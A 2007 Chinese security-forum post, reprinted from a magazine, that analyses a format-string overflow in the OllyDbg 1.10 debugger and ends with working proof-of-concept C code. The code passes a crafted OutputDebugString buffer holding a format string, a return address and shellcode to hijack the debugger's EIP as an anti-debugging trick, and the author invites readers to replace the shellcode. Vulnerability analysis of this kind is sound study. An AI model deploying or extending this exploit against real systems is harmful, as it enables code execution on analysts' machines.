gyzy1986
论坛版主
论坛版主
  • 注册日期2007-03-26
  • 最后登录2008-09-29
  • 粉丝0
  • 关注0
  • 积分332分
  • 威望36点
  • 贡献值0点
  • 好评度33点
  • 原创分2分
  • 专家分0分
阅读:3164回复:2

OllyDbg Format String 0day分析和利用

楼主#
更多 发布于:2007-07-18 21:54
本文已经发表在《黑客防线》2007年6月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理
OllyDbg Format String 0day分析和利用
文/图 gyzy[江苏大学信息安全系&EST]
  OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
  可能读者朋友对格式化串漏洞不太熟悉,格式化串其实也是很严重的漏洞,轻则泄露敏感信息,重则可以导致执行任意代码。这次OD出现的问题就是对格式化串过滤不严间接导致了缓冲区溢出的发生,保存在栈中的返回地址被覆盖。那么,哪些函数会引起格式化串漏洞呢?printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf这些库函数。先来看一个简单的例子:
#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        if( argc != 2 )
        {
                printf("输入一个字符串\n");
                return 1;
        }
        printf( argv[1] );
        printf( "\n" );
        return 0;
}

程序很简单,就是打印程序的参数,比如参数为"Hello,world",那么程序就会输出"Hello,world"。假如我们输入的是%d又会怎么样呢,如图1:
 

图片:1.JPG


 图1
4198693是十进制,16进制就是401125。正常的打印一个十进制数值应该是带参数的,比如printf("%d",i)。i就是一个整形变量。这里我们省略了后者,当所有参数压栈完毕调用printf函数的时候,printf并不能检查参数的正确性,只是机械式的从栈中取值作为参数,也就是我们看到的4198693,这个时候堆栈就被破坏了,栈中的信息就泄露了(比如密码一类的敏感信息的安全这时候就受到了威胁)。这只是一个简单的例子,现实中可能并不存在这样的漏洞,但却揭示了格式化串问题的严重性。假如提供的参数是%n和经过精心构造的话可以导致往任意内存地址写数据,这也就意味着可以使存在漏洞的程序执行我们提交的任意代码。
OD这一次出现问题的函数并不是printf,而是sprintf。尽管OD已经对OutputDebugString输出的字符串进行了长度检查,只接受255个字节,但是由于没有对提供的参数进行检查,所以间接导致了缓冲区的溢出,我简单模拟了出现问题的代码:
#include <stdio.h>

void fun()
{
  char para[10];
  sprintf(para,"%12uAAAAAAAAAAAAAAAAAAAAAAAAA");
}

void main()
{
  fun();
}


关键在%12u表示显示的无符号整数扩展成12位,不足以空格补足,由于para参数只有10个字节,所以保存在栈中的返回地址会被我们提供的AAAA覆盖,如图2:

 

图片:2.JPG


 图2
只要我们恶意的调用OutputDebugString函数就可以使OD的EIP被我们提交的数据覆盖,例如OutputDebugString("%4602d 0x90 0x90.....")构造成这样的一个字符串输出,看看OD的反应,如图3:
 

图片:3.JPG



图3
%4602d表示将字符串扩展成4602个字节,呵呵,够长吧?
我们可以用OllyIce来调试原版的OD,原版OD再运行被调试程序(怎么有点像无间道),简单的跟踪以后,最终定位出问题的代码如下,由于栈中0012DA90保存的返回地址被覆盖,0042E258处的RETN指令将导致EIP被控制,如图4

 

图片:4.JPG


 图4
在OC中给0012DA8C下硬断,看究竟是什么地方覆盖了0012DA90处的值,最终定位到如下指令将0012DA90处的返回地址给覆盖了:
004A353D  |.  8B4D 10       MOV ECX,[ARG.3]
004A3540  |.  8BD1          MOV EDX,ECX
004A3542  |.  D1E9          SHR ECX,1
004A3544  |.  D1E9          SHR ECX,1
004A3546  |.  FC            CLD
004A3547  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>


其实错误原因很明显,OD只对OutputDebugString输出的长度进行了检查,但是却没有对内容进行过滤,就是里面的格式串引发了缓冲区溢出。这个漏洞总给人感觉是鸡肋,没什么利用价值,不过用作一种反调试的手段也算可以,可以让OD进入死循环,以下是我修改过的用作反调试的POC代码,ShellCode就是简单的跳转指令:
#include <windows.h>
#include <stdio.h>

#define FORMAT_STRING       "%4602d"
#pragma comment(linker,"/ENTRY:WinMain") 

char shellcode[] ="\xEB\xFE";

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    char* pszEvilBuffer;
    ULONG ulEvilBufSize;
  DWORD dwRetAddr = 0x7FFA4512;

    ulEvilBufSize = sizeof(FORMAT_STRING) + sizeof(dwRetAddr) + sizeof(shellcode);

    pszEvilBuffer = (char*)malloc(ulEvilBufSize);
    memset(pszEvilBuffer,0x90,ulEvilBufSize);

  int i = 0;
    memcpy(pszEvilBuffer+i, FORMAT_STRING, sizeof(FORMAT_STRING)-1); 
  i += sizeof(FORMAT_STRING)-1;
    memcpy(pszEvilBuffer+i, &dwRetAddr, sizeof(dwRetAddr)); 
  i += sizeof(dwRetAddr);
  memcpy(pszEvilBuffer+i, shellcode, sizeof(shellcode)-1);
    //输出调试字符串
    OutputDebugString(pszEvilBuffer);
    free(pszEvilBuffer);
    return 0;
}

用OD调试一下看看效果,如图5:
 

图片:5.JPG


 图5
OD的CPU占用率100%了(我的机子是双核,所以是50%)。有兴趣的读者朋友还可以修改Shellcode,不过长度不能超过255字节。
有任何问题来我的博客留言:www.gyzy.org
(文中所涉及的程序或代码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)
http://www.gyzy.org 已关闭
Backer
驱动牛犊
驱动牛犊
  • 注册日期2004-09-28
  • 最后登录2009-11-26
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望15点
  • 贡献值0点
  • 好评度15点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-07-31 12:41
好!精华
xiaohu12345
驱动牛犊
驱动牛犊
  • 注册日期2008-10-09
  • 最后登录2008-11-05
  • 粉丝0
  • 关注0
  • 积分8分
  • 威望9点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2008-10-09 17:05
精华,呵呵
向楼主学习
游客

返回顶部